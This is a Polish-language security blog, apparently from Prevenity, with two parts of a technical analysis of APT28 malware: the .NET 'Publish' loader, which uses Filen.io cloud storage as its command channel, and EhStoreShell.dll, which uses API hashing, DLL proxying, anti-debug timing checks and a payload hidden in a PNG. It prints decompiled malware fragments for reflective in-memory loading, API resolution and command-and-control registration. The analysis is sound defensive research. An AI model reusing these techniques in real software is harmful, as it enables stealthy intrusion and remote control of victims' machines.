poniedziałek, 16 lutego 2026

Kampania APT28: Analiza techniczna loadera Publish (część 3)

W tej części artykułu opiszemy następujące funkcje malware i etapy ataku:

  • Zastosowanie PEB do rozwiązywania adresów API i uruchomienie złośliwego kodu napisanego w .NET
  • Rejestracje zainfekowanego komputera z użyciem serwisu Filen
  • Wymianę kluczy kryptograficznych
  • Uruchamianie w pamięci kolejnych payloadów

Przeanalizujemy też zawartość serwera pośredniczącego.

Analizę skończyliśmy w momencie, gdy następowało wywołanie instrukcji call do kodu w nowo zaalokowanej przestrzeni pamięci. Z poprzedniego artykułu wiemy, że oprócz kodu wykonywalnego (payload), w pamięci znajdują się nazwy biblioteki i API oraz cały plik wykonywalny PE przeznaczony dla środowiska .NET.

Payload zawiera funkcję (offset 0xd od początku obszaru pamięci załadowanego payload) która m.in implementuje funkcjonalność GetProcAddress(). Z drugiego bloku danych załadowanych do pamięci pobierana jest nazwa biblioteki i funkcji, która ma być wywołana (co widać na poniższym zrzucie z debuggera). Następnie wywoływana jest funkcja (adres funkcji jest w rejestrze RAX).

 

Własna implementacja GetProcAddress() polega na odczytaniu struktury PEB (Process Environment Block). W PEB jest wskaźnik do listy załadowanych bibliotek LDR (Loader Data Table). Jest to częsta technika wykorzystywana przez twórców złośliwego oprogramowania do identyfikacji adresów API. Kod funkcji zawiera również obsługę sytuacji, gdy wskazany adres jest tylko wskaźnikiem do innego modułu. Wtedy szukany jest adres oryginalnej funkcji. 

Następnie wewnątrz tego procesu jest uruchamiany kod z aplikacji znajdującej się w opisanym bloku 3 (patrz część 2 analizy). W tym momencie malware przechodzi z kodu natywnego do zarządzalnego, uruchamiając aplikacje .NET bez zapisu na dysku. Biblioteka mscoree.dll i funkcja CLR CreateInstance służy do uruchomienia środowiska .NET wewnątrz procesu natywnego, który wcześniej tego środowiska nie potrzebował. 

Uruchamiany plik wykonywalny (jego oryginalna nazwa to Publish jest zaawansowanym loaderem. Mechanizmy kryptografii i komunikacji są bardzo dobrze przemyślane o czym przekonaliśmy się analizując jego poszczególne funkcje.

Nazwa: Publish
MD5: 6f528ad405bffa4a8c2f61b1fa2172fd
Rozmiar: 65 KB
Architektura: .NET
Istotna zewnętrzna biblioteka: bcrypt.dll

 

Po dekompilacji narzędziem ILSpy czy dnSpy możemy zauważyć, że kod jest obfuskowany. Nazwy klas czy zmiennych są obfuskowane. Z kolei wartości zmiennych - np. adresy URL są zakodowane XOR.

Struktura kodu składa się z dwóch klas najwyższego poziomu. Klasa główna (B2K40ZRJWZ) wykorzystuje strukturę klas zagnieżdżonych do obsługi poszczególnych modułów (funkcje sieciowe czy obsługa kryptografii), podczas gdy klasa pomocnicza (TDH3GX8WDW) jest statycznym dekoderem stringów.

Dla uproszczenia analizy zamieńmy w pierwszej kolejności wszystkie miejsca gdzie jest wywoływana klasa TDH3GX8WDW już odkodowanymi wartościami. Z github można pobrać gotowy skrypt (deobfuscate.py), który dekoduje i podmienia dane w głównej klasie. Klucz dekodujący to "NHJV9I5PC2"

Fragment kodu przed odkodowaniem:

public static string DIK3O9APBC = TDH3GX8WDW.CSD5JWUB2A("KylzZggoVjJuBXd5L3sNewFoblMtKS97XCsHZyAGKyt5Nwh9");

Fragment kodu po odkodowaniu.

public static string DIK3O9APBC = "ea901acb-791e-4248-acae-eb27c4ec3a14";


Metoda RHLOUZAT29 pełni rolę głównej pętli ładującej (loadera) złośliwego oprogramowania. Jej celem jest nawiązanie połączenia z serwerem pośredniczącym (w tym przypadku wykorzystującym infrastrukturę chmurową serwisu Filen.io), pobranie zaszyfrowanego ładunku (payloadu), odszyfrowanie go i uruchomienie w pamięci bez zapisywania na dysku. Odpowiada również za rejestracje, wymianę kluczy kryptograficznych i przesyłanie zaszyfrowanych danych. Funkcja ta jest wywoływana co 35 sekund.
Należy dodać, że atakujący wybrali serwery serwisu filen do pośredniczenia w sterowaniu zainfekowanymi hostami. Zarówno ofiary (zainfekowane komputery) jak i atakujący łączą się do serwerów serwisu filen i wymieniają między sobą zaszyfrowane pliki. Schemat można przedstawić jak na poniższym diagramie.

Ofiara <---> Filen.io <---> Atakujący

Rejestracja zainfekowanego hosta

Po zainicjowaniu protokołu sieciowego TLS, malware generuje unikalny identyfikator ID (możemy to ID traktować jako Bot ID). Poniżej fragment kodu odpowiadający za generacje ID. ID budowany jest z nazwy domeny, użytkownika i dodawana jest stała wartość (Pre Shared Secret - klucz zapisany w kodzie z malware), następnie generowany jest hash MD5  i ładowany jest do struktury GUID a wynik skracany do 10 znaków.

 string text = TDH3GX8WDW.CSD5JWUB2A("");
 text += Environment.UserDomainName;
 text += Environment.UserName;
 text += V7QYUS7252;
 MD5 md = MD5.Create();
 byte[] bytes = Encoding.Default.GetBytes(text);
 byte[] b = md.ComputeHash(bytes);
 Guid guid = new Guid(b);
 result = guid.ToString().Replace("-", TDH3GX8WDW.CSD5JWUB2A("")).Substring(0, 10);


Następnie generowana jest para kluczy RSA. Klucz publiczny będzie wysłany do atakującego. Klucze RSA są wykorzystywane między innymi do wymiany kluczy sesji. Klucz sesji to klucz AES używany do szyfrowania danych przesyłanych pomiędzy zainfekowanym komputerem a atakującym.

Mając klucz publiczny i ID przygotowywany jest pierwszy “raport”. Format jest poniżej: 


[RSA_XML_PUB_KEY],[BOT_ID]
 

Możemy zauważyć, że na tym etapie rejestracji (nazwijmy go etapem 0) używana jest wartość 0 w nazwie tworzonego pliku zawierającego w/w dane. Rozszerzenie pliku to .bin.

string str2 = ".bin";
tvbj06TLO.K1W77U0GUD(d00CD64G, text2 + " 0" + str2);


Zanim pierwszy plik zostanie wysłany do serwera aplikacja sprawdza czy powstał katalog dla Bot ID. Jeśli nie, to jest najpierw stworzony. Poniżej wywołanie tej metody.

new B2K40ZRJWZ.TVBJ06TLO2(APIKEY, AESKEY, .root_directory, BOT_ID, 8);

Te dane są niezbędne do nawiązania poprawnego połączenia i bezpiecznej wymiany danych zgodnie ze standardem usługi Filen. Dostawca usługi na swojej stronie ma następujące hasło: “Reliable zero-knowledge, client-side encrypted cloud storage you can trust. Experience uncompromised security without sacrificing functionality.“. Oznacza to, że w teorii na serwerze są trzymane zaszyfrowane dane, których dostawca usługi nie odczyta. Znajomość API dostawcy usługi będzie nam potrzebna do zrozumienia mechanizmów wymiany plików ale też do odszyfrowania danych z serwera (gdyż posiadamy klucz, którym zaszyfrowane są dane).

Przed wysłaniem danych, za pomocą DataContractJsonSerializer tworzony jest plik JSON a następnie wykonywana jest operacja XOR. Generowane jest 128 losowych bajtów jako klucz. Klucz jest dodawany przez zakodowanym “raportem”. Następnie dane są szyfrowane z pomocą algorytmu AES256 (metoda HQDW2MMOKI) gdzie kluczem jest hash MD5 z root_directory (jest to też UUID folderu). Ostatnia wersja szyfrowania to AES z kluczem losowym pliku - aby zachować zgodność ze standardem Filen.
Na końcu dane wysyłane są na serwer (metoda K1W77U0GUD). W kodzie analizowanej aplikacji zaimplementowane są wywołania API obsługiwane przez serwery Filen.

W celu wysłania pliku wykonywane są 3 zapytania:

  • POST "https://gateway.filen.io/v3/file/upload/create". W odpowiedzi otrzymujemy UUID sesji, nazwę bucketu i region.
  • POST "https://ingest.filen.io/de-1/filen-1867960/UUID" (tutaj dołączany jest plik)
  • POST "https://gateway.filen.io/v3/file/upload/done" 

Wiemy, że w kodzie aplikacji zaszyty jest też API KEY oraz tzw. root directory. Co ciekawe atakujący używali malware z kilkoma różnymi konfiguracjami (inny APIKEY, root directory i klucz AES). Nie mając dostępu do wszystkich konfiguracji trudno jest określić skalę ataku. Na końcu przedstawiamy statystyki dla analizowanej próbki.


Poniżej ten fragment kodu (opisany powyżej):

Wymiana kluczy

Po wysłaniu klucza publicznego, malware oczekuje na odpowiedź serwera (metoda ZH6ROPFW27). Pobrany plik (odpowiedź atakującego) zawiera nowy, unikalny klucz sesji AES. Co kluczowe, odpowiedź ta została zaszyfrowana kluczem publicznym RSA ofiary. Malware używa swojego klucza prywatnego (przechowywanego tylko w pamięci RAM), aby odszyfrować wiadomość i wydobyć nowy klucz sesyjny, który posłuży do szyfrowania kolejnych etapów komunikacji.
Aby upewnić się, że rozmawia z właściwym serwerem, generuje losowe "challenge" (4 bajty - nonce), szyfruje je nowym kluczem sesji, i wysyła jako plik 1.bin. 

Następnie malware pobiera odpowiedź serwera i sprawdza, czy odszyfrowane pierwsze cztery bajty są identyczne z tymi wysłanymi wcześniej, co potwierdza autentyczność drugiej strony. Po udanej weryfikacji malware pobiera kolejne cztery bajty (wyzwanie zwrotne serwera), szyfruje je i odsyła jako plik 2.bin, finalizując proces wzajemnego uwierzytelniania. Gdy bezpieczny kanał jest w pełni zestawiony, malware przechodzi w nieskończoną pętlę operacyjną, w której odbiera komendy i pliki wykonywalne. W ten sam sposób wysyła też wyniki. Przykładowa zawartość plików będzie pokazana w dalszej części artykułu.

Uruchamianie innych modułów malware pobieranych z serwera

Poniżej znajduje się ostatnia, najważniejsza część złośliwego kodu:

byte[] f50XRP5BX5 = this.K42FBSWZWZ(x18KIPAKYV, f50XRP5BX4); //dekoduj zawartość kluczem sesji
Assembly assembly = B2K40ZRJWZ.WSL3348Q6K(f50XRP5BX5); //załaduj bibliotekę DLL bezpośrednio z pamięci
MethodInfo o5RRGH2L1S = this.FTR558XNF2(assembly.GetTypes(), "Invite"); //szukaj entry point - Invite
Delegate @delegate = this.QP0VXU12WL(o5RRGH2L1S, typeFromHandle); //wskaźnik do Invite
((Action<string, string, string, string, Aes>)@delegate)(APIKEY, AESKEY, root_directory, text2, x18KIPAKYV.LO9O0Q1NEV); //przekazuje najważniejsze parametry które pozwolą na komunikację.

                                           }
W tym fragmencie wykorzystywana jest technika Reflection. Jest to mechanizm środowiska .NET zamieniający odbierane dane na kod wykonywalny. Wywołana jest metoda Assembly.Load. Następnie wyszukiwana jest metoda Invite w załadowanym module. Invite to ustalony przez atakującego entry point. Wskaźnik delegate pozwala wywołać tę metodę jako funkcje w kodzie uruchomionego malware. Następnie przekazywane są najważniejsze parametry - obiekt klasy AES zawierający m.in. APIKEY, klucz sesji, AESKEY i root directory. Jest to potrzebne aby nowy kod malware dalej mógł komunikować się z serwerem pośredniczącym.

Root directory na serwerze pośredniczącym

Wspominaliśmy, że malware sprawdza zawartość katalogu na serwerze pośredniczącym. Używając poniższego zapytania możemy wyświetlić jego całą zawartość. 

  • POST https://gateway.filen.io/v3/dir/content   


Zwracane są dane w postaci:
folders":[{"uuid":"2448cfe3-ca29-4b88-a775-44214144b6b4","name":"002COVz86A7uhGcmvdtNh+FZhm50AZ+YBYSXpvBN6Cr8uFRiAJxrvFnZAHpfum1mQ==","parent":"ea901acb-791e-4248-acae-eb27c4ec3a14","color":null,"timestamp":1769918476,"favorited":0,"is_sync":0,"is_default":0},

To pozwala nam na sprawdzenie ile komputerów było skompromitowanych za pomocą tej próbki malware. Pobierzemy też dostępne pliki z katalogów.
Poniżej wynik - od 29 stycznia do 4 lutego 2026 było zarejestrowanych 85 zainfekowanych hostów. 

=====================================================================================
#    | DATA INFEKCJI (UTC) | TIMESTAMP    | FOLDER UUID
-------------------------------------------------------------------------------------
1    | 2026-01-29 15:14:54  | 1769696094   | b24695be-edb8-42a1-a2a3-f3e39f98ace5
2    | 2026-01-29 18:55:11  | 1769709311   | 3e7dc05d-7b75-4622-a2e9-3e314b5bb246
3    | 2026-01-30 09:51:26  | 1769763086   | c81756e7-e51f-491e-a3d6-d56b0761dd2a
4    | 2026-01-30 11:57:01  | 1769770621   | 766c1074-5982-40fc-aa81-6a042034d27d
5    | 2026-01-30 12:14:49  | 1769771689   | 61fe2145-2bc6-435f-a7cb-1ad9f2ce08db
6    | 2026-01-30 12:48:24  | 1769773704   | 87103c6e-327b-4d12-a057-992a57c79101
7    | 2026-01-30 13:22:57  | 1769775777   | acdd85d8-0344-4d57-a471-55f530f365fb
8    | 2026-01-30 16:18:27  | 1769786307   | 7208188e-ec69-4727-a8cd-cca0445d0c35
9    | 2026-01-30 17:39:56  | 1769791196   | b02f331e-18d7-41ea-a67a-d0e285fa3232
10   | 2026-01-30 19:32:36  | 1769797956   | ef3cb6a4-128b-45c1-ab2d-01680ef0daca

85   | 2026-02-04 23:44:10  | 1770245050   | 44599a3b-ad3d-4ad1-a0c7-cb037a9181be

Mając wartości UUID możemy wyświetlać zawartość katalogów. Poniżej przykład zawartości katalogu c81756e7-e51f-491e-a3d6-d56b0761dd2a. Najważniejsze elementy to ID pliku, lokalizacja i nazwa bucketu. To pozwala nam na pobranie plików wymienianych pomiędzy atakującym a innymi instancjami malware.

{"status":true,"message":"Folder content fetched.","code":"folder_content_fetched","data":{"uploads":[{"uuid":"4f42221f-aaad-43cf-ac3c-0332c7022b73","metadata":"002ax1IIPFfCV7AjWTEr2XgbR1uNVtY/UY4Tda85ZsjiSZqxt9SS/guBPKjJUFpETTpkh8qZyY3x+QCMmfgatioqtJejC08KmUFt5IRxl2DhHm+m1xD+OX4M/grj4Zitkn3ZLLj2ROrGid8gz+HI9afYNYL+/IiIoLbfwMUWFH9143EoO6CJBnE6gCjLrBhSzOfem72hKEMkyYERe1OY3h9yDLc7VQ/ObPgUWAA9S1wiIHXDgJtvcCw0zAnyQ==","rm":"BjgQsmfgbJXMTu1n9I55IbxdaGJJJrgu","timestamp":1769763118,"chunks":1,"size":432,"bucket":"filen-5035800","region":"de-1","parent":"c81756e7-e51f-491e-a3d6-d56b0761dd2a","version":2,"favorited":0}],"folders":[]}}

Możemy też z metadanych (po odszyfrowaniu) odczytać nazwę pliku.

{"creation":1769763116392,"key":"mzEjA9Fbz5blOYrdaLYpur4smitSo5Y9","lastModified":1769763116392,"mime":"application\/octet-stream","name":"ruGAVX.dmg","size":432}

W tym przypadku plik ma rozszerzenie .dmg. Nie jest to faza rejestracji a regularna wymiana informacji. Rozszerzenie pliku zgodnie jest z definicją znalezioną w kodzie malware. Pliki mogą mieć następujące rozszerzenia:

private static string[] OMUG1R7ISV = new string[]
           {
               ".bin",
               ".class",
               ".dmg",
               ".img",
               ".iso",
               ".pak",
               ".pdb",
               ".pkg",
               ".rar",
               ".tar",
               ".xz",
               ".z",
               ".zip"
           };


Pliki pobieramy za pomocą GET zgodnie z poniższym przykładem:

  • GET "https://egest.filen.io/de-1/filen-5035800/4f42221f-aaad-43cf-ac3c-0332c7022b73/0" \


Zawartość pobranego pliku:

Pamiętamy, że pliki w serwisie Filen są szyfrowane AES - z metadanych mogliśmy uzyskać klucz. W powyższym pliku pierwsze 12 bajtów to IV - wektor inicjalizujący. Odszyfrowany wynik wymaga ponownego odszyfrowania (teraz używamy klucza AES odtworzonego z wyniku funkcji MD5(root_directory)). Po ponownym odszyfrowaniu poza zakodowanym payload mamy też ID - dla poniższego przykładu wartość to b05f5ef0c1

1dUzLzaq6/+r2Xxg57KptFD0fZHhgcB8Ag94bEAAofoi/0lFiRCxACcNugjBY0LdKm2wcTCArVMUtywnMX+/qjeBPedoYypAQ31q1Me3up/MmkHTTy/KolL1MNLkis6oTQ/RQCVbdcZCcC2yFdmMXPyNWpY97FoHtpuVcjNXXLmu93R6f+7JxYm7TFWBh8zSYJdMs82jlAVyalpWcSyDt0eLKGezMpMsBUTsKvtBO/JCKYgABMvjFyTTfGhhCM/aYehrkFVeCGxhOAS3tc7K66n+DLY8XKvFN9cK8NfInJB8Of53Qi0xi3o5RsRi7PgGpepnqx/AeE/72tZQCXUt6L2mAndHmL2q7IomK4WB2tditTXmjeumFWFECFsMdMaRZJd5Dt1d0nFIMJh1,b05f5ef0c1

Po odkodowaniu XOR payload, otrzymujemy następujący JSON:


{"GUID":"b05f5ef0c1","Type":1,"Meta":"","IV":"y/hD8q4KND0dPOPwppViVw==","EncryptedMessage":"3BR816/7gvDM8Ikvw5tZYg==","HMAC":"qQhs1Xq2VUGSZKb3sc2AHwljficKp7LtgkFh0KTMcqo="}

W kodzie aplikacji ta struktura opisana jest konstruktorem N8STCV1P76.
Poza GUID mamy też informacje, że jest to wiadomość Type 1. Jest też zaszyfrowana kluczem sesji wiadomość - EncryptedMessage. Wiadomość jest stosunkowo krótka, więc najprawdopodobniej jest to rodzaj statusu/heartbeatu.

Podsumowanie

Analizowany kod jest zaawansowanym loaderem. Jego główne cechy to wielowarstwowe szyfrowanie (szyfrowanie usługi filen, różne klucze sesji AES i klucz asymetryczny RSA) oraz pobieranie i uruchamianie w pamięci plików wykonywalnych. Konstrukcja malware oraz komunikacji wskazuje, że każdy etap infekcji był dokładnie przemyślany przez atakujących.

Linki:

[1] https://github.com/Prevenity/malware_scripts 


 



wtorek, 10 lutego 2026

Kampania APT28: Analiza techniczna EhStoreShell.dll (część 2)

Pierwszą część analizy (LINK) zakończyliśmy na kroku, gdy wymuszony został restart procesu explorer.exe. Po restarcie do procesu explorer.exe ładowana jest biblioteka ze złośliwym kodem o nazwie EhStoreShell.dll. W tej części artykułu zajmiemy się analizą właśnie tej biblioteki oraz utworzonego przez pierwszą bibliotekę pliku PNG.

Poniżej opiszemy najciekawsze naszym zdaniem mechanizmy, jakie zostały zastosowane przez twórców tego malware (DLL Proxying, API Hashing, mechanizmy utrudniające analizę oraz zaimplementowaną funkcję ukrywania danych w pliku PNG). 

Name: EhStoreShell.dll
MD5: 4423B8F3456E54EB48DFBDE0B4C7984B
Rozmiar: 216 KB
Architektura: 64bit
Entry Point: 0xDC6C
Eksportowane funkcje: DllCanUnloadNow, DllGetClassObject, DllRegisterServer and DllUnregisterServer.

Z entry point oraz DLLMain() wywoływana jest główna funkcji zawierający złośliwy kod FUN_18000be40(). Zawiera ona najważniejszą funkcjonalność dla tego etapu ataku.  

 

Mechanizm importowania funkcji API

 
W głównej funkcji możemy zidentyfikować funkcje, które widzieliśmy w pierwszej próbce a związane z odkodowywaniem ciągów znaków za pomocą operacji logicznej XOR. Po odkodowaniu są to nazwy bibliotek: kernel32.dll, ntdll.dll i uwaga ehstorshell.dll. ehstorshell.dll jest “legalną” biblioteką, która też będzie ładowana do pamięci procesu w celu zastosowania techniki DLL Proxying dla wybranych API (technikę DLL Proxying opisaliśmy w innym naszym artykule).

 

API Hashing

 

Po załadowaniu bibliotek do pamięci za pomocą LoadLibrary() w kolejnym kroku pobierane są adresy wybranych funkcji API. W kodzie malware nie mamy nigdzie nazw tych funkcji. Są jedynie wartości 4 bajtowe wartości hash. Ten mechanizm jest często spotykany w implementacjach złośliwego kodu a nazywa się API Hashing. 

Na końcu umieściliśmy całą zdekodowaną funkcję (FUN_180009f20), która odpowiada za wyszukiwanie adresów API na podstawie wartości hash.

Funkcja zaczyna od walidacji czy wskazany w przekazywanym parametrze adres wskazuje na bibliotekę. Są to warunki dotyczące początku pliku (0x5a4d - “MZ”) czy sygnatury pliku PE (0x4550 “PE\0\0”). Następnie sprawdza tablicę eksportu (offset nagłówka PE (0x1e) + 0x88 to RVA (relative virtual address) tablicy exportu a offset nagłówka PE (0x1e) + 0x8c to rozmiar. Wtedy odbywa się krokowe przejście przez wszystkie nazwy i liczenie wartości hash. Odpowiada za to ten fragment:

iVar5 = 0x1505;
for each byte b in name:
iVar5 = iVar5 * 0x21 + (uint)bVar1;

Pod tym adresem można znaleźć informacje o wybranych funkcjach hash dla ciągów znaków http://www.cse.yorku.ca/~oz/hash.html. Zaimplementowana w malware funkcja hash to algorytm djb2.

Tzw. Initial Seed jest identyczny. Ta liczba pierwsza wynosi 5381 to 0x1505. (hash << 5) + hash jest równoważne z hash * 33.

Funkcja następnie porównuje wygenerowany hash z wartością przekazaną przy wywołaniu (wartość jest zapisana w pliku malware) iVar5 == *piVar10. Jeśli wartości się zgadzają, zapisuje adres funkcji.

Poniżej przykład wywołanie tej funkcji (FUN_180009f20). Jako drugi parametr przekazywany jest hash zapisany w pliku (&DAT_180034e00) i wynosi 0x7487495B.

void FUN_18000a070_Resolver_API(short *param_1)

{
  undefined4 *local_18;
  undefined8 uStack_10;
  local_18 = &DAT_180034e00;
  uStack_10 = 8;
  FUN_180009f20_Resolver_API(param_1,&local_18);
  return;
}


Spróbujmy, sami znaleźć nazwę funkcji dla tego hash. W naszym repozytorium znajduje się skrypt, który implementuje algorytm djb2. Skrypt pobiera tylko jeden parametr - nazwę biblioteki. Jak widać poniżej wartości hash odpowiada funkcji API ExpandEnvironmentStringsW().

$ python apihash.py kernel32.dll | grep 0x7487495b

ExpandEnvironmentStringsW                | 0x7487495b

Drugie wywołanie funkcji FUN_180009f20 ale tym razem podana jest druga biblioteka ntdll.dll.

$ python apihash.py ntdll.dll | grep 6793c34c

NtAllocateVirtualMemory                  | 0x6793c34c

Trzecie wywołanie zwraca nam nazwę: LoadLibraryA().

Następnie ładowana jest biblioteka (LoadLibraryA(“ehstorshell.dll”)) i zapisuje uchwyt w DAT_180035228.

DAT_180035228 = (HMODULE)(*pcVar6)(pppppppuVar9); //LoadLibraryA(“ehstorshell.dll”)

 

DLL Proxying

 

Poniżej fragmentu kodu, który odkodowują nazwy 4 eksportowanych funkcji z EhStoreShell.dll.

FUN_18000b4b0_dekoder_xor(&DAT_180024490,(undefined1 (*) [32])local_58); //odkoduje DllCanUnloadNow
FUN_18000b290((byte *)&DWORD_180024438,(undefined1 (*) [32])local_78); // odkoduje DllGetClassObject
FUN_18000b290(&DAT_1800244a8,(undefined1 (*) [32])local_98); //odkoduje DllRegisterServer
FUN_18000b040(&DAT_1800244c0,(undefined1 (*) [32])local_b8); //odkoduje DllUnregisterServer

Zobaczmy jedną z tych funkcji po dekompilacji.

HRESULT __stdcall DllCanUnloadNow(void)

{
  HRESULT HVar1;
  HVar1 = (*_DAT_180035200)();
  return HVar1;
}


Dla DllCanUnloadNow() jest wyłącznie wskaźnik do miejsca w pamięci _DAT_180035200.

Spójrzmy jeszcze raz na fragment kodu, który jest zaraz po odkodowaniu nazw bibliotek:

FUN_18000b4b0_dekoder_xor(&DAT_180024490,(undefined1 (*) [32])local_58);
FUN_18000b290_dekoder_xor((byte *)&DWORD_180024438,(undefined1 (*) [32])local_78);
FUN_18000b290_dekoder_xor(&DAT_1800244a8,(undefined1 (*) [32])local_98);
FUN_18000b040_dekoder_xor(&DAT_1800244c0,(undefined1 (*) [32])local_b8);
  pcVar6 = (code *)FUN_18000a0f0_Resolver_API(-0x30ce44e1);
  puVar10 = local_58;
  if (0xf < uStack_40) {
    puVar10 = (undefined1 *)CONCAT71(local_58._1_7_,local_58[0]);
  }
  _DAT_180035200 = (*pcVar6)(DAT_180035228,puVar10);


Pod pcVar6 jest adres funkcji GetProcAddress(). Wynik zapisywany w _DAT_180035200.

pcVar6 = (code *)FUN_18000a0f0_Resolver_API(-0x30ce44e1);

Wartość -0x30ce44e1 (czyli 0xcf31bb1f w formacie unsigned)

Weryfikacja skryptem apihash.py:

$ python apihash.py kernel32.dll | grep cf31bb1f

GetProcAddress                           | 0xcf31bb1f

Jak widać malware nie używa własnego resolvera do wszystkich adresów API - tutaj pobiera standardowe API aby uzyskać dostęp do adresu funkcji.

 

Mechanizmy Anti-analysis

 

Kolejną ciekawą funkcjonalnością są próby wykrywania “zewnętrznej ingerencji” w działania malware. 

Test #1. Sprawdzenie czy uruchomiony kod działa w kontekście procesu explorer.exe. 

Za pomocą funkcji GetModuleFileNameW() pobierana jest pełna ścieżka uruchomionego procesu. Następnie nazwa procesu porównywana jest z ciągiem znaków explorer.exe.

Malware został zaprojektowany tak, aby uruchamiać się wyłącznie jako DLL podpięty pod konkretną usługę. Oddzielna analiza dynamiczna samej biblioteki za pomocą debuggera czy sandboxa będzie wykryta.

Test #2. Czas wykonania funkcji

Zaimplementowano mechanizm sprawdzający czy funkcja Sleep(3000) oraz Resolver_API wykona się w określonym czasie. Poniżej ten fragment:

    FUN_18000bd60_check-debug((longlong *)local_d8);
    pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0xe19e5fe);
    (*pcVar6)(3000);
    FUN_18000bd60_check-debug((longlong *)&local_e8);
    if (2899999999 < (longlong)local_e8 - (longlong)local_d8[0]) {


Funkcja FUN_18000bd60() pobiera za pomocą funkcji QueryPerformance* precyzyjny czas. następnie wywołuje raz funkcje odczytującą adres funkcji API oraz Sleep(3000). Hash 0xe19e5fe to właśnie Sleep().

Na końcu sprawdza czy faktycznie minęło około 3 sekundy. Taki mechanizm może wykryć system który np. przyśpiesza lub ignoruje całkowicie funkcje sleep(). 

 

Plik SplashScreen.png

 

W kolejnym kroku złośliwe oprogramowanie wczytuje do pamięci plik z lokalizacji %programdata%\Microsoft OneDrive\setup\cache\SplashScreen.png.

Zanim go wczyta, pobiera adres GetLastError i wywołuje go. Sprawdza czy zwracany kod błędu jest różny od 0xb7 (ERROR_ALREADY_EXISTS). Gdy jest to pierwsza instancja malware to wywoływany jest sleep() i następnie wczytanie do pamięci pliku PNG.

Poniżej ten fragment:

  pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0x2082eae3);
  iVar1 = (*pcVar6)();
  if (iVar1 != 0xb7) {
    do {
      pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0xe19e5fe);
      (*pcVar6)(15000);
      FUN_1800012a0_dynamic_load_exec_code((undefined8 *)pbVar5,local_40[0]);
    } while( true );
  }


Chwilę przed tym sprawdzeniem jest próba wywołania CreateMutexA z wartością: ukqh3vuaoh2vy3v

Następnie dzieje się coś bardzo ciekawego. Z pliku PNG ekstraktowany jest fragment danych. Pierwsza funkcja sprawdza rozmiar danych do ekstrakcji, następnie alokowana jest pamięć a na końcu kopiowane są tam dane.

FUN_1800019c0_check_size_of_payload((longlong)local_60,iVar8,(byte *)param_2);
pbVar3 = _malloc((ulonglong)*param_2);
FUN_180001b60_extract_from_png((longlong)pvVar5,iVar8,pbVar3,*param_2);


Druga funkcja FUN_180001b60() ekstraktuje dane z użyciem technik steganografii. Na podstawie analizy tej funkcji spróbujmy sami odkodować prawdziwy payload.

 

Steganografia

 

Poniżej zawartość pliku SplashScreen.png.


Zobaczmy zatem na plik PNG w edytorze szesnastkowym. 7801 to nagłówek strumienia zlib, określający parametry kompresji. Malware w funkcji FUN_1800099b0 rozpakowuje go.


Spróbujmy za pomocą poniższego skryptu (png_zlib_extract.py) python "rozpakować" go, aby otrzymać surową tablicę bajtów RGBA.


from PIL import Image
img = Image.open("SplashScreen.png").convert("RGBA")
d = img.tobytes()
print(d.hex(" "))



Po przeanalizowaniu funkcji dekodującej PNG (FUN_180001b60) możemy zauważyć, że odczyt payload zaczyna się od offsetu 0x22 ale w warunku IF jest iVar3 - 2 czyli z 0x20. Następnie odczytywanych jest 8 bajtów z których powstaje 1 bajt danych payload. 

Poniżej przykład dla pierwszych 8 bajtów:

offset : szesnastkowo : binarnie
-------------------
0x20 : FE : 11111110
0x21 : FE : 11111110
0x22 : FE : 11111110
0x23 : FF : 11111111
0x24 : FE : 11111110
0x25 : FE : 11111110
0x26 : FF : 11111111
0x27 : FE : 11111110

Zapiszmy teraz najmniej znaczące bity: 0 0 0 1 0 0 1 0.
Odwróćmy teraz kolejność: 00010010 -> 01001000 i zapiszmy szesnastkowo wartość 0x48.

Zróbmy to samo dla kolejnych 8 bajtów od 0x28 do 0x2f. Złożenie najmniej znaczących bitów daje wartość 0x81.

Tym sposobem jesteśmy w stanie odkodować payload. Powstanie on po zastosowaniu techniki steganograficznej opartej o odczyt najmniej znaczących bitów z tablicy RGBA pliku PNG. 

Sprawdźmy, czy poprawnie odbudowaliśmy pierwsze bajty. Poniżej zrzut z ekranu debuggera w momencie przekazania kontroli do nowego payload-u. Instrukcja call do adresu znajdującego się na stosie [RSP+30] prowadzi do 0x24F5D970000. Pierwszy bajt to 0x48 a drugi to 0x81.


W tym momencie możemy zapisać fragment pamięci do pliku. Druga metoda to przygotowanie skryptu dekodującego. Gotowy skrypt (png_zlib_extract_decode.py) znajduje się w naszym repozytorium.

Po odkodowaniu całości pliku otrzymujemy dane, które składają się z trzech fragmentów.
  • Payload, do którego biblioteka EhStoreShell.dll przekazuje kontrolę
  • Ciągi znaków (nazwy funkcji i bibliotek), które są używane przez payload do lokalizacji adresów funkcji
  • Kolejny plik wykonywalny.
Poniżej fragment tego pliki. 3 bloki - czerwony (końcówka payload), żółty (ciągi znaków), niebieski (kolejny plik wykonywalny).

Plik wykonywalny możemy wyodrębnić w następujący sposób:
$ dd if=wynik of=pe_file bs=1 skip=2363
64512+0 records in
64512+0 records out
64512 bytes (65 kB, 63 KiB) copied, 0.058534 s, 1.1 MB/s

$ file pe_file 
pe_file: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ md5sum pe_file
6f528ad405bffa4a8c2f61b1fa2172fd  pe_file

Jest to plik wykonywalny 32 bitowy i jest przeznaczony na środowisko .NET.

 

Podsumowanie

 

Na tym kończymy drugą część analizy złośliwego oprogramowania wykorzystywanego przez grupę APT28 podczas ostatniej kampanii. Wiemy, że biblioteka EhStoreShell.dll pełni rolę kolejnego etapu ataku, a jej głównym zadaniem jest bezpieczne odczytanie payload z pliku PNG, który następnie jest uruchamiany.

Źródła:

[1] https://github.com/Prevenity/malware_scripts 
[2] http://www.cse.yorku.ca/~oz/hash.html

Funkcja opisywana w artykule, która jest implementacją rozwiązującej adres API.

void FUN_180009f20_Resolver_API(short *param_1,undefined8 *param_2)

{
  byte bVar1;
  int iVar2;
  uint uVar3;
  uint uVar4;
  int iVar5;
  longlong lVar6;
  byte *pbVar7;
  uint uVar8;
  ulonglong uVar9;
  int *piVar10;
  int *piVar11;
  ulonglong uVar12;
  
  piVar10 = (int *)*param_2;
  piVar11 = piVar10 + param_2[1] * 0xc;
  do {
    if (piVar10 == piVar11) {
      return;
    }
    if ((((param_1 != (short *)0x0) && (*param_1 == 0x5a4d)) &&
        (lVar6 = (longlong)*(int *)(param_1 + 0x1e), *(int *)(lVar6 + (longlong)param_1) == 0x4550))
